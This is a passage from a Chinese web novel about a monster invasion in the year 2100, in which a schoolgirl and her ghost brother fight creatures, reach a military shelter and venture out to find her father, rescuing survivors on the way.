它吃了好一会,感觉到身体充满了力量。它很开心,这玩意真是个好东西,比吃鬼增长的力量还多。
它已经能吐出鬼火了。
心系着妹妹,温布惊没有贪得无厌,吐出一口鬼火将剩余的卵都烧光。
卵泡里的小怪物感觉到了危险,齐齐嘶叫着,游荡在附近的一只怪物飞速赶来,却只看到满地灰烬。
实力大涨的小诡异飞到了高一教学楼,对怪物发起了袭击。
它先是将攻击着教室门的怪物一拳放倒,暴力地扯下它的触须,随后一口火喷出,怪物哀嚎着在地上打滚,但鬼火不灭,一点点啃食殆尽它的躯体,连尸干也没有留下。
教室里,老师和学生们怀揣着恐惧,奋力推着堆满门的窗的桌椅柜子,却惊讶地发现外面的怪物嘶叫了起来。
那声
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音带着恐惧,很快消失殆尽。
撞击停止了好一会,师生们满心紧绷地盯着门,好一会,一个男生才敢从拉开窗帘一角看向外面。
“怪物消失了!”
满头大汗的老师抖着手瘫倒,她大口大口地咽着口水,在全部人的注视下抹了把脸,她下了决定。
“都拿上趁手的武器,我们趁现在逃出去。不能被困死,能逃多远是多远!”
“老师,我怕,我怕呜呜呜……”有人哭得上气不接下气,“我妈,我妈出事了……”
“外面也乱了!我们活不了!”一个满脸泪水的女孩子挥舞着手机,视频上播放着商场内的惨状。
“草!为什么被我们赶上世界末日了!”
老师站起来,望着一张张稚嫩的脸鼓励道:“相信救援很快会到来!孩子们,你们是未来的希望,国家必定会排除万难,先来解救大家的!”
师生们带着委屈、愤怒、惊恐和强撑的勇气挪开为怪物设置的障碍物,冲出教室。
他们却惊讶地发现,走廊上满是厚厚的灰烬,就好像有一把熊熊烈火烧尽了走廊。
但除了溅上的血水和内脏残肢,墙壁和天花板却还是洁白如新,同学的尸体也还散落着。
只有怪物的一切都消失不见了。
……
小诡异此时很想求夸奖,它很想快速回到妹妹身边,蹭着她温暖的手心。
妹妹一定会用柔软的嗓音说:“哥哥你真棒!”它的妹妹太好了,从来不吝啬夸赞。
它一个鬼把整栋楼所有的怪物都解决了,虽然自己也受了重伤,但它没有痛感,把散架的身体拼好又能用了。
只是看起来有些奇怪,跟被暴力撕扯过的芭比娃娃一样手脚歪七扭八。
小诡异怕吓到妹妹,不想看到她担忧的目光,算了,还是先去把地面上的怪物也解决掉好了。
走之前,它看到了好多新生的鬼魂,它们直愣愣地站着,小诡异喊:“跟着我,去把那些东西都解决吧!”
鬼魂们就跟在它身后,浩浩荡荡地飘去了操场。
操场犹如地狱一般,所有生还者想要逃出去就经过,但他们太弱了,尽管抱团也还是被像猎物般狩猎虐杀。
可是突然,狼狈的师生们发现,那些怪物好像凭空受到了什么阻挡,停止了动作,甚至凭空自燃了起来。
他们看不见的鬼魂们用脆弱的身体抱住怪物,大叫着:“快跑啊!逃命去吧!”
“傻逼龟儿子,替我们活下去啊!”
幸存者们听不到,但求生欲促使着身体竭力运转,他们来不及感激,朝大门狂奔,即使伤了腿也蹦蹦跳跳、连滚带爬地逃命。
鬼魂们拼尽了全力,但它们太弱了,力量也小,被怪物狠狠甩开,有一两个鬼魂甚至直接被打散了。
温布惊只有一个,满校园的怪物最少有几百只,它的鬼火也不是取之不竭的,很快就感到了虚弱和力竭。
温茉经过高一楼的时候,正好撞上了一大群从中涌出的幸存者,于是加入了他们之中。
她抱着奄奄一息的伤员,被师生们安排到了最中间,一个老师担忧地探了探伤员的鼻息,染血的眉头皱的死死的。
“坚持住小同学!我们就要逃出去了,看到了吗?”
温茉:“老师,军队很快会到的,我们要快点赶去大门口!”
刚才羊雅芝用她的私人电话打来,说装甲车和军卡快到了,让她一定要坚持。
老师热泪盈眶,她抽了抽鼻子,几乎是哭丧着应道:“好!”
温茉用眼神安抚了她,然后众人继续逃命,有落单的怪物扑来,外围的同学就用武器去胡乱厮打。
他们跌跌撞撞逃命到广场,又遇到了更多的幸存者。
温茉被挤在人群中,摇晃踉跄着,她焦急地寻找着温布惊,但没看到它在哪里。
往日一眼望尽的广场今天格外难走,几百米的路程又少了很多生命,温茉红着眼眶抬头,终于听到了轰隆隆的枪响。
军队终于来了,惶恐的幸存者、坚毅的军人围在坦克装甲周围,羊雅芝上衣破烂,一身血痕,她冲在最前,两条有力健硕的手臂端着重枪。
温茉哭了,她听不清耳边轰隆隆的炮火,大喊:“妈!”
2100年,21世纪的最后一年秋,人类遭遇了有史以来最毁灭的打击。
这次外星袭击事件主要最先发生在东方大陆,随后西方地区也出现了怪物袭击,尽管有所提防,损失仍然惨重。
全球范围内青壮年死亡惨重,老弱妇幼残存比例较大,人类武装力量上被迫绝对削弱,一度进入断代时期。
尽管很多年以后,在踏上飞船前去歼灭敌军的那一刻,温茉回想起那天,仍然会不寒而栗。
7. 第 7 章
母亲总会第一眼看到自己的孩子,羊雅芝张望着,看到了温茉泪眼汪汪的眸子。
她挤开人群迎上去,伸手拍了拍温茉的肩膀安抚:“好女儿,接下来交给妈妈吧。”
羊雅芝身边的警员接过了温茉怀里的女生,头也不回地奔向医疗组,温茉扑进羊雅芝怀抱里,短暂地拥抱她一秒就分开。
温茉被人拉着进去军卡,一直回头依依不舍嘱咐道:“妈,你小心点!年纪大了!不是小姑娘别冲那么猛!”
羊雅芝周围响起一阵哄笑声,她气笑了:“你是妈还是我是妈!行了,有空联系下你爸爸!”
卡车上挤满了惊慌的同学们,温茉挑了个末尾的位置坐好,然后随着一声痛苦吸气声,赵雷被担架送了进来。
他的右腿被木棍简单固定,头上贴了块纱布,捧着伤口夸张地抽气,“有没有止痛药啊!医生?医生!”
“死不了,忍着!”送他来的医疗人员转头就走。
赵雷哭得很大声:“他妈的这都是他妈的什么事!草!真他妈倒霉!”
车里的人看着往日的校霸哭得像个孩子一样,却都没心情笑,所有人如同行尸走肉般,没有一点精神气地瘫坐着。
高高低低的抽泣声在这群少年中响起,一个文弱的男生大吼:“赵大少爷!你能不能别嚎了!”
“我就叫!”赵雷挽起衣袖擦擦脸上的泪水:“我他妈死里逃生庆祝一下不行吗!”
温茉拍了拍他的肩膀:“大家心情都很差,赵雷,控制下情绪,你的腿现如今来看甚至只是轻伤了。”
赵雷脸色一僵,靠着车厢低头不再开口了。
“对不起。”他扔下一句,刚吵架的男生脸埋在□□,肩膀一颤一颤的,没有搭理他。
气氛冷了下来,过了一小会,一个浑身药味、瓜子脸上满是雀斑的高马尾女生从口袋里掏出一版胶囊塞到赵雷怀里,带着浓重的鼻音道:
“给你。”
赵雷看着手里的止痛药,抠出几粒塞进嘴里咽了下去,他双眼红肿不复往日的威风。
“谢了,常小莲。”
常小莲低低地嗯了一声,闭眼握紧了朋友的手。
温茉一直没来得及看消息,她打开手机,看到桑蓝和钱弓发来了无数消息轰炸,段双双那头却没有任何动静。
车厢突然变得很阴冷,温茉抬头,看到了几只鬼飘了进来,它们站在中间,满脸悲痛地看着认识的人。
温茉低头,继续看着手机,所有的社交平台上,都疯狂地转发更新着怪物袭击的视频,网络差点瘫痪,官方审核根本来不及处理。
“为什么国外没有怪物?”一个男生崩溃地抓着头发,神情歇斯底里:“只有我国有!?”
讨论声躁动起来。
“会不会是国外搞的鬼,他们不是没有干过这种事。”
“我们国家没有这么废物,一定是天灾。”
“那可不一定,那些怪物是自然界能长成的吗?肯定是实验室产出的!”
“可是。”常小莲一脸苍白:“我亲眼看到孙玉满变成了怪物,我们从小一起长大……”
所有人沉默下来。
是啊,他们都亲眼看到了同学是怎么变成怪物的,甚至就连虐杀时,它们都穿着校服。
“温茉。”刚才跟赵雷吵架的男生抬头:“你妈妈是警察局局长,你肯定知道些什么对不对!”
望着所有人的目光,温茉摇了摇头:“很抱歉,我什么都不知道。我敢肯定,我妈妈也不了解什么,因为她今天早上还嘱咐我课间把落下的课程自学补上。”
“呵呵。”常小莲冷笑两声:“我们国家就那么废物吗?这可是A城啊!大名鼎鼎的首都!A城警局就是废物吗?”
她神情激动起来:“我们的血汗钱就养着这群废物吗!?”
常小莲是个非常勇敢的姑娘,她无疑是道出了在场所有人的心声。
温茉静静地看着她:“请你道歉,你凭什么认为警察就一定能预知未来?警局里同样出现了怪物。”
“我妈妈他们拼命厮杀,第一时间赶来救我们!他们没有对不起任何人。”
“谁知道你们是不是在装。”常小莲刚才苍白的脸变得通红,也许是气的,她恨恨地看着温茉,冷哼了一声。
赵雷说:“常小莲!别拱火了,高层真的不知道!我爸可是市长!你再看看我现在的处境!”
“我知道你们私下里老说我们是天龙人!是,有危险我肯定第一时间跑掉!但我在这里就是最好的证明!”
常小莲颤抖着嘴定定地看着赵雷,泪花在眼眶里打转,胸膛急促起伏,一气之下要往车外跳。
温茉伸手拦住了她,“我知道你心里生气,你不知道气什么,于是理所当然地把矛头指向政府。”
“你可以骂他们,我们不会再抨击你了,嘴长在你身上,你想怎么骂怎么骂,不要随便乱跑了,你现在的命很珍贵。”
有同学附和道:“感觉真的像是天灾,完全没办法预料到啊。”
“也不能怪政府,这几十年里全世界的科技都没什么进步,我看网上外网也很震惊,他们也没预测到。”
“我的姑奶奶。”坐在地上的赵雷抱住了常小莲的腿,“平时在班里屁都不敢放一个,现在敢玩跳车,气性怎么那么大!”
常小莲:“别管我!”
“我管你!回去坐着,敢不听校霸的话了是不是!”
常小莲又掩面细细弱弱地呜咽着。
随着又上了几个学生,军卡被关上,接着车子启动,朝着未知的方向前进。
温茉闭眼,调整呼吸来平息烦躁的情绪,那几个鬼魂消失了,她无暇顾及它们去了哪里,心里只牵挂着温布惊。
为什么救援都到了,它还不回来,难道是……
过了会儿,温茉心烦意乱,直接说道:“赵雷,能不能别戳我腿。”
“靠,关我什么事。”赵雷说:“我在看手机好不好。”
“嘻嘻。”一道脆脆的童音在耳边响起。
温茉猛然睁眼,看见失而复得的温布惊盘腿坐在她脚边,心里落石般的不安紧张终于消散。
兄妹俩对视,温茉欢快地眨了眨眼,温布惊面无表情地朝她做了个鬼脸。
温茉手放下去,紧紧握住了它冰凉的小手。
不知道过了多久,卡车停了下来,一名警员打开车门,招呼着幸存者下车。
温茉第一个跳下去,转身搀扶行动艰难的赵雷,其余人随后而出。
这是一座封闭式体育场,A城人都知道,这里曾经举办过很多大型的体育赛事。
门口围着一排的坦克和装备精良的特种兵,车辆一车一车地将幸存者拉来再开走,门口熙熙攘攘,人们争先恐后往里面挤,简直像菜市场一般。
一群穿着校服的高中生非常引人瞩目,很快就有两名特种兵来带他们登记信息。
所有人都要进行抽血,测谎等体检,然后上报自己的身份证号和具体信息,一切无误后才能进入体育场。
登记到温茉和赵雷的时候,信息员看了眼屏幕,喊了一声“彭队。”
一个高大的,身材健硕极其具有压迫感的特种兵应声而来,他戴着头盔和面罩,只露出一双凶悍带着凛凛杀气的丹凤眼。
“他们是上面重点标记的。”
彭周:“知道了。”
他的声音很哑,透露着些许疲惫,“他们合格吗?”
信息员比了ok的手势,“一切正常,是人类。”
“你们两个,跟我走。”
彭周说完,便自顾自地持枪带路,温茉搀扶着赵雷努力地跟着,赵雷单腿跳,脸憋得通红。
彭周把两人带进了体育场的看台下休息室里,指着角落一张沙发说:“你们接下来在这休息,里面带有卫生间,饭菜吃饭的时候会有人送来。”
他压低声音警告:“最好乖乖待着,不要出去乱跑惹事。不然你们老子再厉害我都不管了。”
温茉和赵雷互相对视一眼,齐齐点头:“知道了。”
留下警告的一眼后,彭周走了,一并带走了呛鼻的硝烟味,他们坐下沙发,赵雷舒舒服服地抱着柔软的抱枕,感慨道:
“我理解有些人为什么会骂我们天龙人了,看看我们现在多舒服,普通人还要挤在草坪上,哎。”
温茉:“我感觉刚那个彭队想捶死咱俩。”
赵雷撇了撇嘴,“谁让我会投胎。哎,姓彭,我好像知道他是谁了。”
温茉好奇:“谁。”
“一个很厉害的特种兵,叫彭周,身体强悍到离谱,曾经徒手打死一头成年黑熊,听我爸说好像在一个秘密作战小队里。”
“连他都出现了,看来情况真的很严重。”
两人开始闲聊,温茉说:“你爸连这些都给你说。”
“我可是独生子。”赵雷抬了抬尖尖的下巴,眼神带着倨傲:“据说他曾经有机会当选总理保镖,但是不想抛头露面就拒绝了,他性格正直,很鄙视特权。”
“啊。”温茉恍然大悟:“原来他刚才握紧拳头是真想囊死我们啊。”
“管他呢。”赵雷躺下,嘟囔着:“不行,你去帮我找个医生看看腿吧,就这么干夹着吗?”
温茉刚好想出去,就没有推辞,她关上门,嘈杂的吵闹和混沌的气息一同袭来,操场上挤满了人,或躺或走或坐,有人激烈地吵架,有人面如死灰的缩着,一些白大褂游走在人群中简单医治伤员。
在温茉的视角下,广场上还游荡着许多的鬼
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魂,它们的面容保持在生前的最后一刻,它们无法做出任何表情,但绿油油的鬼眼都充斥着悲哀。
围着广场内圈,一群士兵持枪警惕着,他们时刻注意着吵架的人,如非极其过分不会出手制止。
温茉抿了抿唇,走到一个最近的白大褂旁边,那医生听着她说话,手里包扎的动作不停。
“骨折?如果用木板固定好,暂时没有危险。”医生眉眼间带着疲惫,“现在这条件,吃点消炎药就不错了。”
温茉从医生手里领了一板消炎胶囊和一瓶水。
远处,罗木心手肘捣了捣彭周的肩膀,低声问:“那个女孩,黑长直,穿着白色连帽针织衫,眼睛很清澈漂亮那个,就是羊雅芝的女儿吗?”
彭周淡淡扫视了一眼很快收回目光,鼻音淡淡嗯了一声。
罗木语气八卦:“长得不像啊,那凶巴巴的女老虎能生出气质这么柔和的女儿?”
他自言自语道:“不过女孩一般都像爸爸吧,哎,那男人在女将军手下讨饭吃,估计日子不好过。”
彭周不接话茬。
“队长。”罗木:“你别老甩个脸子,当所有人都是贪污犯,我可听说那俩都是独生子女,别到时候小的跟老的告状,你又被暗戳戳使绊子。”
彭周瞪他一眼:“我亲自送到休息室,态度还不够好吗?要不我去给他们掖被角唱摇篮曲?”
“哈哈哈哈哈哈。”罗木捧着肚子笑:“队长,你可太有搞笑天赋了。以后退休了演小品去吧哈哈哈。”
“你他妈。”彭周眼里带着惆怅:“能不能活到退休还不一定。”
“啧,真没劲。”
旁边支过来个头,队里的天才黑客祝修燃说:“聊什么呢?”
“羊将军和赵市长那俩独生子。”
“嗯?”祝修燃反驳:“羊局长家两个孩子吧,老大是男孩,老二才是女孩。”
“没听说过,局长家庭信息保护得还好的。”
“不过你说得也对。”祝修燃转头继续敲电脑,说:“儿子很早就死了。”
罗木:“太可惜了吧,为啥死啊?”
祝修燃:“死于X416事件。”
“啊,那个死了很多特警的416!?”
“对。”
他们沉默了下来,谁都没有再开口,仿佛X416是个不敢提起的禁忌一般。
三人只觉得突然间有点冷,却不知道,刚才他们讨论的主角,正站在面前,用阴冷的眼神直勾勾盯着他们。
从医生手里领完东西,温茉有点渴,厚着脸皮又要了一瓶水,拧开盖子咕咚咕咚喝完。
她擦了擦嘴,绕着操场晃了一圈,刚看见学校的老师,就被对方拉了过去
“一转眼你就不见了。”
常小莲看着地面说:“人家俩跟咱们不是一个世界的,单独被保护起来了。”
既得利益者温茉没反驳,只叹了口气,说:“这里安全,应该几天后咱们就能出去了,放心吧老师。”
她刚出来的时候,短暂地爬上台阶,用鬼眼自上往下巡视了一遍,还真没发现怪物的踪迹。
听到这话,惴惴不安的师生们这才安心不少。
寒暄一会,温茉回去了,走到休息室门口,温布惊抱住了她的腿,虽然面无表情,但温茉敏锐地察觉到了它心情不好。
“怎么了?”
温布惊摇摇头,看看她什么也不说,温茉不是好奇心很重的人,没再继续追问。
就算是变成鬼了也要给它该有的小世界,问东问西不是温茉的风格。
兄妹俩进去,惊醒了赵雷,他迷迷糊糊地睁开眼:“吃饭了吗?”
”没有医生有空。”温茉将胶囊和水扔给他,“我刚问了,下午两点才会发饭,还有一个小时。”
“饿死我了,我太倒霉了,早饭跑太剧烈全吐了。”
赵雷眼巴巴望向门口:“好想喊他们给我加个餐,又怕被打死。”
温茉问他:“你爸那边有什么消息吗?”
出了这么大的事,市长估计是最焦头烂额的人了,也不知道他现在是死是活,赵雷现在还这么吊儿郎当,要是市长没了,他估计下一秒就会被别人拖出去打一顿。
最重要的是,温茉很想知道政府接下来的举措,羊雅芝总是什么都不说,什么都自己扛,温茉隐隐约约意识到,自己要承担些什么。
赵雷双手拄着下巴,一脸严肃:“开会呢吧,刚跟我妈打完电话,出事没多久,我爸就把自己关进书房,我妈贴门上听了几耳朵,里头吵吵闹闹的。”
“全国都出这样的事了,他们应该会调兵吧?可是……好像军队里面也有怪物,这我就不太确定了,反正我妈说,家里的一个守卫也变成怪物了,已经被击毙了。”
8. 第 8 章
怪物无声无息地取代了人们熟悉的亲人朋友,政府必然会动乱,像彭周这种级别的兵都出现,可见局面的紧张。
温茉看着吊儿郎当的赵雷,心里泛起淡淡的无力感。
“没网了!”赵雷捧着手机惊呼。
温茉看着手机上段双双最后发来的消息,思索两秒后,做出决定:“我要回家。”
赵雷不可置信道:“你疯了!”
温茉一脸平静:“我没疯。”既然约定好在家集合,她怎么都要去的。
她懒得费口舌解释些什么,靠坐在沙发上闭目养神。
下午两点,彭周准时带来了午饭,每人的标准是一瓶水加一个面包一根火腿肠,看着手里的东西,赵雷脸绿了,“就这些?”
他本就是还在长身体的年纪,代谢快,早就饿得不行,此时此刻,肚子响的跟雷鸣一样。
赵雷居高临下抱着双臂,眼神不屑地看着他,好像在说,不吃滚蛋。
赵雷:……
他窝窝囊囊地撕开包装恶狠狠咬着。
温茉安静地吃完面包,随后站起身:“彭队长,我需要回家一趟,让门口的守卫放我出去吧。”
彭周皱眉,放下手臂将她摁回去,一口拒绝:“现在不是闹大小姐脾气的时候,外面可不是在演过家家。”
“我们才认识,怎么在彭队长心里我的形象就是无理取闹的大小姐?”温茉直视着他,眉眼冷静:“我是真的需要回去,我跟我爸约定好了在家集合。”
如果段双双和温玉成成功回家了,联系不上她肯定会着急的。
而且温茉有温布惊在身边,加上自己行动也算灵敏,安全性不算低。
可彭周不知道她的本事,温茉身份贵重,她要是出事了,绝对会给他带来不小的麻烦。
两人一番拉扯下,彭周妥协:“这样好了,你说地址,我派人,把你爸一块救过来,让你们父女俩和和美美的团聚,这样行了吗?”
温茉想了想,也行,但她腿边的小诡异有意见了,它童音坚定:“妹妹,我们必须回去!出现了这么多新鬼,小区里那只诡异绝对不会放过吞噬它们的机会,等它实力强大了,必定会伤人的!”
在今天之前,两只诡异还能打个平手,但如若放任那只诡异发展,不用想,日后必定十分棘手。
温茉没想到温布惊一个鬼,居然操心着那么多事。
要不是没有条件,真想给它颁发个鬼界警察的锦旗了。
基因果然是很神奇的东西,温布惊骨子的善良在死后也没有消失殆尽。
人手实在太紧张了,保护民众都不够更别说去找一个关系户,彭周自认为作出了很大的让步,有些不耐烦地等着眼前漂亮的女孩回复。
他会唇语,眼睁睁看着温茉把即将脱口而出的“好”收回,小嘴一张又提出了要求。
“带上我去救我爸爸。”
“很遗憾,谈判失败。”彭周扭头就走,欲推门而出,温茉立刻拉住他的衣角。
“彭队长,我们移步说话?我会让你心甘情愿派我出去的!”
她看了眼房中的第三个人类,示意接下来的话不宜为外人所知。
一直看好戏的赵雷不满道:“有什么需要背着我说的?”
彭周挑了挑眉,抖掉了温茉的手,他说:“很自信啊?我的态度很坚定了,老老实实被保护着不好吗。”
“那你绝对会改变心意。”温茉勾勾手手,对他眨了眨眼,她先是将赵雷赶出去,接着锁上门。
孤男寡女共处一室,彭周表情非常不自然,更别提赵雷骂骂咧咧地在窗口探头看,所以当温茉拉着他往卫生间钻的时候,他甩开了。
“就在这说。”他强硬道。
“好吧。”温茉压低声音道:“彭队,你相信有鬼吗?要是我说我能驾驭鬼杀那些怪物,你相信吗?”
面对那灼灼目光,彭周沉默了两秒:“你是不是被打到脑子了。”
温茉就知道他不信,她把窗户关好,然后从口袋里抓出一把黏糊糊的东西展示给他看。
“这是怪物的卵。”
温布惊轻轻吹出一团鬼火,在彭周的视角里,温茉手心的卵瞬间燃起幽幽的蓝火,几乎眨眼间就变成了一滩灰烬!
彭周一把抓住温茉的手,捻起点点灰白研磨,又放在鼻下细嗅。
他眼中罕见地写满震惊:“你是怎么做到的?”
温布惊:“不要暴露我的身份,妹妹。”
温茉:“不是我,是我养的小鬼做的。”
彭周垂眸,睫毛挡住了眼底的沉思,温茉逼近一步:“需要我再证明一遍吗?我有保护自己的能力。”
“不。”彭周摇摇头:“我相信你了,因为我认可鬼的存在。”
这下轮到温茉惊讶了。
彭周第一次正视她:“你很有本事,我答应你的要求。”
他又问:“那些卵还有吗?都给我吧。”
“彭队长,这件事暂时请对外保密,我想之后亲口告诉妈妈。”
“……可以。”
温茉不会用枪,彭周就给了她一把防身的匕首,温茉穿好黑色的防弹背心,将头发扎成马尾,跟随罗木走出了体育场。
艳阳高照,他们走出安防区,直面血迹斑斑的街道。
风很大,温茉眯起眼睛,罗木走在前面,他叮嘱:“温茉,一定跟好我。”
“知道了。”
两人走了一段路,离开了体育场的范围,他们到达了商业区,安全地从一家户外越野店里骑走了一辆摩托车。
商业区人流密集,发生灾难后,商超和街道不可避免地躺着不少尸体,路上到处是车的碎片、人的碎片和火力压制后掉落的弹壳。
也许已经有一批清扫队伍经过这里,带走了所有的幸存者。
摩托车灵活飞驰在马路上。
温茉戴着头盔坐在后面,眼中掠过沿途满目疮痍的灾后惨状,罗木提议道:“把眼睛闭上吧,一时间看见大量尸体会影响精神。”
他是个碎嘴子,根本闲不住:“我第一次看见尸体是碎尸案中,现场还是化粪池,我们那一批的,当场吓尿了好几个,人家法医还笑话我们,说特种兵还这么怂。”
“我说特种兵也是人,那不是怂,是被恶心的,我单挑一百个恶徒都没问题,但别让我们徒手捡碎尸。”
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温茉来了点兴趣:“你们平时都干什么呀?居然还捡尸。”
“秘密。”罗木嘟囔着:“平时不捡尸,我还是个新兵蛋子的时候,彭周蔫坏,说锻炼我们胆量,集训完直接一车拉去在臭气熏天的垃圾中掏骨头架子,这谁受得了。”
温茉:“你们这行真不容易。”
“为祖国干事不谈容易不容易。”罗木自豪地说,随后有些悲哀:“我现在宁愿去掏化粪池我都不愿意跟这些怪物火拼。”
“这些怪物出现得太突兀了。”温茉说:“全世界都没有察觉。”
“外星人谁防得住。”罗木:“我们活抓了几只怪物,生物研究所的人说,这些生物身上有地球没有的元素。”
温茉还在消化这些信息,他又突然扬高调子朗声道:“温茉,你快告诉我,你养的小鬼长什么样子,我太好奇了!”
“你放心,队长就只告诉我了!毕竟我现在是你队友嘿嘿。”
小鬼的模样啊,温茉低头看了看怀中。
温布惊生前是个非常有活力的漂亮孩子,他的杏眼圆嘟嘟的,睫毛很长,死时还处于男性特征不突出的年纪,像画上的福娃娃。
以前温茉特别喜欢让他穿自己的小裙子,头上扎着小啾啾,站一起不知道的还以为是两姐妹。
温布惊一直默默听着,闻言,它抬起青白、长满尸斑的冰凉小脸,冲她甜甜笑了一下。
它小手拉过温茉的发尾摸着,耳朵却竖得高高。
温茉很认真地说:“它是一个很可爱的男孩,小时候像女孩子,长大了是个眉眼深邃的俊美少年,因为不喜欢太多肌肉,不会锻炼得太过,它长得很高,身材挺拔舒展,脾气很好,酒窝很甜,喜欢蜂蜜和插花,如果还活着,一定受许多女孩子的喜欢。”
这些都是温茉的心里话——她无数次设想过温布惊长大的样子,想来想去想到小时候温布惊画的未来的一家人,形象就这么固定下来了。
这么大一番夸奖,让小诡异低下头,羞羞答答地扣着背带裤的扣子。
“还是个高质量鬼。”罗木啧啧称奇,随口问:“它现在在哪呢?今天这么大太阳,能出屋子吗?”
温茉幽幽道:“就在你背后。”
“吱——”
摩托车在马路上左摇右摆,罗木一哆嗦,差点连人带车撞上绿化带。
“姐妹,青天白日的,你别吓死我。”
罗木脸有点白,紧张到屏住了呼吸:“一想到有个鬼抱着我就心惊肉跳!”
“别惊别跳了。”温茉说:“第一,它没抱你,第二,它碰不到你!”
罗木哭笑不得,哆哆嗦嗦地继续骑。
过了三分钟,他们转弯,看到了一栋燃着熊熊大火的办公楼,几辆装甲车停在门前,士兵们躲在掩体后,枪口直指门口。
双方都注意到了对方,但都无暇顾及。
短暂交错时,温布惊速度很快地飞进大楼里转了一圈,过了会儿,又被手镯强硬拉回。
它说:“普通人都死了,楼里只有三只重伤的怪物,我看他们是想活捉。”
温茉心想,但愿政府能快点研究出些什么。
9. 第 9 章
摩托很快驶出了军队清扫区,接下来的路没办法骑行了,两人找了个地方放好车,然后徒步前行。
罗木低头看了眼表盘,“按照我们的速度到你家需要半小时。”这还是在没有遇到怪物的情况下。
其实他们离小区已经不远了,大概两三公里的距离,但这边的路修得窄,发生灾难时许多人都乱开或者弃车而逃了,放眼望去,路上皆是密密麻麻望不到头的车辆,有的自燃着,发出噼里啪啦的声响。
这段路还能通到高速路口,所以大型货车不少,这些货车车厢都有不同程度的凹痕,黏着透明的黏液,像是有怪物曾经攀爬过。
这片儿居民楼多,间或夹杂着几栋办公楼或者仓库,街道两旁的建筑不稀不密,往日的人流不少,但此刻没有一个活人的身影。
街上的红绿灯,商铺的广告牌还在亮着,零食、美妆、奶茶、服装等店的喇叭仍旧欢快地响彻,活力四射的男女声兴奋地念着广告词揽客……
但满地的残尸无法回应,只有鸟儿立在枝头和绿化带叽喳,转眼一看,街头转角不时流窜过一两只应激的还拴着牵引绳的猫狗。
“嘎——嘎——”
乌鸦成群结伙地来了,黑压压乌云般盘旋在空中,温茉往常几乎从没见过乌鸦,今天却……
温茉看着满街的鬼魂,心里闷闷的。
罗木一个一米八七的大汉子,看见这场面难受得要死,他紧抿着嘴,眼里藏着愤怒和悲哀,手紧紧扣着扳机,恨不得立刻跟怪物们决一死战。
罗木下巴绷得紧紧的,见温茉站着不动推了她一把,“走吧。”
温茉:“等等。”
她走到两三只哭嚎鬼魂的位置,从那辆家庭suv旁的几具尸体下,找到了他们生前护着的一个婴儿。
“救救我女儿!”
“求求你们救救我孙女,她才出生啊……”
死状凄惨的鬼魂齐齐跪了下去。
婴儿吐了满脸的奶,双眼紧紧闭着,可能因为被压到了又也许是哭得缺氧,她口吐白沫,嘴唇都是黑紫的,已经陷入了昏迷。
她脖子和手脚上戴着金饰,金锁上刻着一个名字——赵永欣。
“让我来!”罗木立刻脱下手套,小心翼翼地抠掉婴儿口鼻中的呕吐物,紧接着将她放在手臂上面朝下拍背。
两人蹲在地上急救,温茉抽了车里的湿巾纸,小心翼翼擦拭着婴儿的脸。
皇天不负有心人,婴儿恢复了正常呼吸,脸色逐渐转回血色,罗木飙出了眼泪,爱怜地摸着她的额头,“谢天谢地!”
三只鬼魂紧紧守在旁边,看到孩子得救,尽管知道生人听不到,也激动地感谢着。
罗木搜刮出车里的母婴用品,用被子将婴儿包好绑在身前,做完这一切,听着她弱弱的哭声,他压在心底的大石头才仿佛轻了一些。
温茉听着耳边满街群鬼的哀嚎,心里很不是滋味,温布惊抱着她的双腿盯着擦眼泪的罗木,突然道:
“楼里和车里都还有好多活人,他岂不是救一个哭一次。”
“罗木是个好人。”温茉说:“这里还有很多活人,赶快呼叫救援吧。”
罗木吸吸鼻子:“我给队长发卫星信息了。”
温茉:“罗木,这里暂时安全,你带着孩子,只要不往楼里跑就不会遇到怪物。我就自己回去吧。”
罗木很犹豫,低头看了看,还未睁眼的婴儿哭得小脸都是泪,脑袋乱动,偏偏这是个手无缚鸡之力的小生命!他确实不敢冒险。
罗木第一次决定把任务抛之脑后。两人在车里找到一袋奶粉和奶瓶,他们跑到奶茶店后厨,手忙脚乱地泡了一瓶奶。
小婴儿刚开始还不肯喝,罗木心酸道:“喝吧,赵永欣,没有母乳给你了。”
僵持好一会后,婴儿终于一口叼住了奶嘴,她大口大口地喝着,喉咙里发出小奶狗般的哼唧,用力到鼻子都皱起来。
温茉抬头,刚好看见三只鬼消散的瞬间。
她低头看着温布惊圆圆的脑袋,看着他额头上翘着的一簇头发,看着他长长的睫毛,她在想,到底有什么遗憾,才会让温布惊始终不愿投入轮回。
温布惊早就看惯了鬼魂消失的场面,它察觉到注视,仰着脑袋望向温茉,用眼神询问:怎么了。
温布惊死的时候,头是被砍断的,所以现在稍微动作大点,它的脑袋就总是掉。现如今温茉看多了就不害怕了,她帮它扶正了头,还顺手拍了拍。
“没事。”
温布惊催促道:“我们快走吧。”它始终心系着那只女诡异。
温茉嘱咐:“罗木,你可藏好了,等我们或者彭周来找你。”
罗木:“放心吧!哥战斗力还是挺强的!倒是你,自己要注意。”
手机依旧还是没有信号,温茉看了眼时间,还有几分钟就到三点。
温茉没准备傻傻地回家,等到了合适的距离后,就让温布惊回家看看温玉成有没有在。
如果有最好了,直接把人带走,如果没有,他们也只能先打道回府。
温茉从街边店里拿了把锋利的菜刀紧紧拎在手里,她沿着人行道走,没走几百米,路边一辆车的窗子被敲响。
一个女人降下车窗,露出惨白的、溅上点点血迹的脸,她眼里盛满痛苦、崩溃和惊恐,疑神疑鬼地观察着四周,接着虚弱道:“快躲起来,怪物、怪物很快会回来的……”
她打扮得很干练,脸上画着锋利的眼线和大红唇,一副精英女强人的模样,温茉看到她胸口扎着一块玻璃,血迹染红了白色西装。
车前窗碎了一片,雨刮器晃动着,摩擦着玻璃碎片发出刺耳的咯吱响。
尖锐的摩擦声每响彻一次,女人的精神就更紧绷一分。
温茉:“你的伤严重吗,救援很快就来了。”
“我的腿被卡住了。”女人泪流满面,连哭都不敢出声,她抽噎、无助地求助:“我很快要死了,这个声音肯定会把怪物引来的,但是我动不了。”
撞车时她下意识护住了脑袋,现在只有一只手还能动了,更糟糕的是,前车门扭曲变形,她连爬出去都不能。
“别哭了,我救你。”
温茉从碎掉的后车窗爬了进去,先把后门打开,给自己腾出空
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间,然后把主驾位的座位往后拉,放倒,女人咬紧牙关五官扭曲地忍着痛,豆大的冷汗从额头冒出,发丝糊了一脸。
温茉从狭窄的空间里开始挪动她,把她拖到后排,女人拿起一沓纸巾咬住,脖子上青筋暴起,身体控制不住地颤抖。
温茉有些担心,女人气喘吁吁从牙缝里说:“用力拉,我不想死在这里……”
“好。”温茉一狠心,抱着她的腰往外拔。
